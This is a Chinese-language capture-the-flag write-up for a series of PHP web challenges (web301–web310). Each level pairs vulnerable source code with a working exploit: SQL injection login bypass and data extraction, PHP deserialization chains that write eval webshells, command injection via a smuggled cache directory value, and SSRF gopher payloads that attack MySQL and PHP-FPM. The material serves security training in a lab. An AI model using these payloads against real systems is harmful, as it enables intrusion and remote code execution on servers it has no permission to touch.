web301

checklogin.php中有很明显的sql注入点。

<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
	$_SESSION['error']="1";
	header("location:login.php");
	return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
	$_SESSION['login']=1;
	$result->free();
	$mysqli->close();
	header("location:index.php");
	return;
}
$_SESSION['error']="1";
header("location:login.php");

?>

payload

userid=1' union select 123456#&userpwd=123456

web302

密码比较处逻辑修改了,对用户密码进行了md5计算,再与数据库存储的哈希值比较。

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

使用fun.php生成密码哈希值。

<?php
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}


echo(sds_decode("123456"));

修改一下payload

userid=1' union select "c98d7f443e1533f4b0707953f2af85d4"#&userpwd=123456

web303

限制了username长度

if(strlen($username)>6){
	die();
}

虽然sql注入漏洞点依然存在,但无法利用。
使用admin/admin账号登录后台。
在dptadd.php中存在新的注入点

<?php
session_start();
require 'conn.php';
if(!isset($_SESSION['login'])){
header("location:login.php");
return;
}else{
	//注入点
	$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
	$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
	$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
	$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
	$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
	$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
	
	$dpt_name=$_POST['dpt_name'];
	$dpt_address=$_POST['dpt_address'];
	$dpt_build_year=$_POST['dpt_build_year'];
	$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
	$dpt_cert_number=$_POST['dpt_cert_number'];
	$dpt_telephone_number=$_POST['dpt_telephone_number'];
	$mysqli->query("set names utf-8");
	$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
	$result=$mysqli->query($sql);
	echo $sql;
	if($result===true){
		$mysqli->close();
		header("location:dpt.php");
	}else{
		die(mysqli_error($mysqli));
	}
	
	 }


?>

在添加机构功能处

分析代码后发现是insert类型注入
payload如下:

查询表名

dpt_name=hhh&dpt_address=hhh&dpt_build_year=2024-04-03&dpt_has_cert=on&dpt_cert_number=123456',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&dpt_telephone_number=

查询列名

dpt_name=123&dpt_address=123&dpt_build_year=2024-03-25&dpt_has_cert=on&dpt_cert_number=123456',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#&dpt_telephone_number=

查询flag

dpt_name=qwe&dpt_address=qwe&dpt_build_year=2024-03-25&dpt_has_cert=on&dpt_cert_number=123456',sds_telephone=(select flag from sds_fl9g)#&dpt_telephone_number=

web304

增加了全局waf

function sds_waf($str){
	return preg_match('/[0-9]|[a-z]|-/i', $str);
}

因该是waf编写的有问题,只要含有数字,字母或者-就能通过。
继续使用上题payload即可。

web305

加强了waf,过滤了一堆字符

function sds_waf($str){
	if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
		return false;
	}else{
		return true;
	}
}

引号被过滤了,没有办法进行注入。
分析代码存在反序列化入口

$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
	$user = unserialize($user_cookie);
}

编写payload

<?php

class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
	public function __destruct(){
		file_put_contents($this->username, $this->password);
	}
}

echo(serialize(new user("1.php","<?php @eval(\$_GET[1]);?>")));

cookie需要urlencoding

Cookie: user=%4f%3a%34%3a%22%75%73%65%72%22%3a%32%3a%7b%73%3a%38%3a%22%75%73%65%72%6e%61%6d%65%22%3b%73%3a%35%3a%22%31%2e%70%68%70%22%3b%73%3a%38%3a%22%70%61%73%73%77%6f%72%64%22%3b%73%3a%32%34%3a%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%47%45%54%5b%31%5d%29%3b%3f%3e%22%3b%7d

使用蚁剑连接shell后,使用root/root连接数据库,找到flag

web306

漏洞点位于dao.php中
一般数据库操作层面的文件起名为dao

<?php

require 'config.php';
require 'class.php';


class dao{
   private $config;
   private $conn;

   public function __construct(){
   	$this->config=new config();
   	$this->init();
   }
   private function init(){
   	$this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
   }
   public function __destruct(){
   	$this->conn->close();
   }

   public function get_user_password_by_username($u){
   	$sql="select sds_password from sds_user where sds_username='".$u."' order by id limit 1;";
   	$result=$this->conn->query($sql);
   	$row=$result->fetch_array(MYSQLI_BOTH);
   	if($result->num_rows>0){
   		return $row['sds_password'];
   	}else{
   		return '';
   	}
   }

}

checklogin.php中调用sevice->login函数

<?php
#error_reporting(0);
session_start();
require 'service.php';

$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$service=new service();

$user=$service->login($username,$userpwd);
if($user){
   setcookie('user',base64_encode(serialize($user)),time()+60);
   header("location:index.php");
}else{
   header("location:login.php");
}

?>

sevice.php

<?php

require 'dao.php';
require 'fun.php';
define("__USERNAME_MAX_LENGTH", 6);

class service{
   private $dao;
   public function __construct(){
   	$this->dao=new dao();
   }
   public function login($u,$p){
   	if(isset($u) && isset($p) && strlen($u)<__USERNAME_MAX_LENGTH){
   		$password = $this->dao->get_user_password_by_username($u);
   		if($password===sds_decode($p)){
   			return new user($u,$p);
   		}
   	}
   	return false;
   }
}

但是这里同样限制用户名长度小于6,所以利用不了

再index.php发现反序列化入口点

<?php
session_start();
require "conn.php";
require "dao.php";
$user = unserialize(base64_decode($_COOKIE['user']));
if(!$user){
    header("location:login.php");
}
?>

再class.php中找到可以利用file_pup_contents写webshell

<?php

class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
}

class dpt{
	public $name;
	public $address;
	public $build_year;
	public $have_cert="0";
	public $cert_num;
	public $phone;
	public function __construct($n,$a,$b,$h,$c,$p){
		$this->name=$n;
		$this->address=$a;
		$this->build_year=$b;
		$this->have_cert=$h;
		$this->cert_num=$c;
		$this->phone=$p;

	}
}
class log{
	public $title='log.txt';
	public $info='';
	public function loginfo($info){
		$this->info=$this->info.$info;
	}
	public function close(){
		file_put_contents($this->title, $this->info);
	}

}

查看是否有调用close函数的地方
刚刚的dao.php中刚好有,而且通过__destruct函数调用,这样链条就通了。

class dao{
	private $config;
	private $conn;
    public function __destruct(){
            $this->conn->close();
	}
}

payload

<?php

class dao{
private $config;
private $conn;

    public function __construct($config,$conn){
        $this->config=$config;
        $this->conn=$conn;
    }
    public function __destruct(){
        $this->conn->close();
    }
}

class log{
    public $title='log.txt';
    public $info='';
    public function __construct($title,$info){
        $this->title=$title;
        $this->info=$info;
    }
    public function loginfo($info){
        $this->info=$this->info.$info;
    }
    public function close(){
        file_put_contents($this->title, $this->info);
    }

}

$log = new log("1.php","<?php @eval(\$_POST[1]);?>");
$dao = new dao("",$log);



echo base64_encode(serialize($dao));

使用蚁剑连接shell,flag再flag.php中。

web307

查看dao.php

<?php
require 'config/config.php';
require 'class.php';


class dao{
	private $config;
	private $conn;

	public function __construct(){
		$this->config=new config();
		$this->init();
	}
	private function init(){
		$this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
	}
	public function __destruct(){
		$this->conn->close();
	}

	public function get_user_password_by_username($u){
		$sql="select sds_password from sds_user where sds_username='".$u."' order by id limit 1;";
		$result=$this->conn->query($sql);
		$row=$result->fetch_array(MYSQLI_BOTH);
		if($result->num_rows>0){
			return $row['sds_password'];
		}else{
			return '';
		}
	}

	public function get_dpt_all(){
		$sql="select * from sds_dpt;";
		$result=$this->conn->query($sql);
		$dpt_array = array();
		if($result->num_rows>0){
			while($row=$result->fetch_array(MYSQLI_BOTH)){
				array_push($dpt_array, new dpt($row['id'],$row['sds_name'],$row['sds_address'],$row['sds_build_date'],$row['sds_have_safe_card'],$row['sds_safe_card_num'],$row['sds_telephone']));
			}
		}
		return $dpt_array;
	}
	public function insert_dpt($u,$a,$b,$h,$c,$p){
		$sql="insert INTO `sds_dpt` (`sds_name`, `sds_address`, `sds_build_date`, `sds_have_safe_card`, `sds_safe_card_num`, `sds_telephone`) VALUES ('$u', '$a', '$b', '$h', '$c', '$p');";
		$result=$this->conn->query($sql);
		return $result;

	}
	public function  clearCache(){
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}

}

clearCache函数存在命令执行点,可以考虑命令注入。
logout.php中存在反序列化入口,并且调用了clearCache函数。

<?php
session_start();
error_reporting(0);
require 'service/service.php';
unset($_SESSION['login']);
unset($_SESSION['error']);
setcookie('user','',0,'/');
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
	$service->clearCache();
}
setcookie('PHPSESSID','',0,'/');
setcookie('service','',0,'/');
header("location:../login.php");
?>

service类中含有wakeup函数会初始化变量,利用不了。
直接使用dao类

payload

<?php
class service
{
    private $dao;
    private $config;

    public function __construct($config,$dao)
    {
        $this->config = $config;
        $this->dao = $dao;
    }
}


class config{
    private $mysql_username='root';
    private $mysql_password='root';
    private $mysql_db='sds';
    private $mysql_port=3306;
    private $mysql_host='localhost';
    public $cache_dir = 'xxx;echo "<?php eval(\$_POST[1]);?>" > 1.php; ';

}

class dao{
    private $config;
    private $conn;

    public function __construct($config,$conn){
        $this->config=$config;
        $this->conn=$conn;
    }
}

$config = new config();
$dao = new dao($config,"");

echo base64_encode(serialize($dao));

web308

clearCache函数做了过滤,无法利用

public function  clearCache(){
		if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){
			shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
		}
	}

dao.php中新加了一个checkVersion函数

public function checkVersion(){
		return checkUpdate($this->config->update_url);
	}

跟进到fun.php中,这里如果url可控,就是典型的ssrf。

function checkUpdate($url){
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

index.php中调用了checkVersion函数

<?php
session_start();
error_reporting(0);
require 'controller/service/service.php';
if(!isset($_SESSION['login'])){
header("location:login.php");
}
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    $lastVersion=$service->checkVersion();
}
?>

分析后发现需要登录后才可利用(不是😅)。
header后的PHP代码还会被执行。终止代码执行应该在后面加一个exit();或者die();

刚好这里的mysql无密码,可以利用SSRF

使用gopherus生成payload

root
 select "<?php @eval($_POST[1]);?>" into outfile "/var/www/html/1.php";

反序列化exp

<?php

class config
{
    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%48%00%00%00%03%20%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01';
}
class dao{
    private $config;
    private $conn;

    public function __construct($config,$conn){
        $this->config=$config;
        $this->conn=$conn;
    }

}

$dao = new dao(new config(),"");

echo base64_encode(serialize($dao));

web309

根据提示mysql设置了密码,无法进行利用了。

先使用SSRF加file协议读取nginx配置文件

file:///etc/nginx/nginx.conf

发现本地开放9000端口,运行fastcgi协议。
利用PHP-FPM的任意代码执行,参考https://xz.aliyun.com/t/9544

使用Gopherus生成payload

反序列化exp

<?php

class config
{
    public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
    private $config;
    private $conn;

    public function __construct($config,$conn){
        $this->config=$config;
        $this->conn=$conn;
    }

}

$dao = new dao(new config(),"");

echo base64_encode(serialize($dao));

web310

查看nginx配置文件

daemon off;

worker_processes  auto;

error_log  /var/log/nginx/error.log warn;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location / {
            try_files $uri  $uri/ /index.php?$args;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }
	server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

发现开放4476端口
使用http协议访问即可获得flag

<?php

class config
{
    public $update_url = 'http://127.0.0.1:4476';
}
class dao{
    private $config;
    private $conn;

    public function __construct($config,$conn){
        $this->config=$config;
        $this->conn=$conn;
    }

}

$dao = new dao(new config(),"");

echo base64_encode(serialize($dao));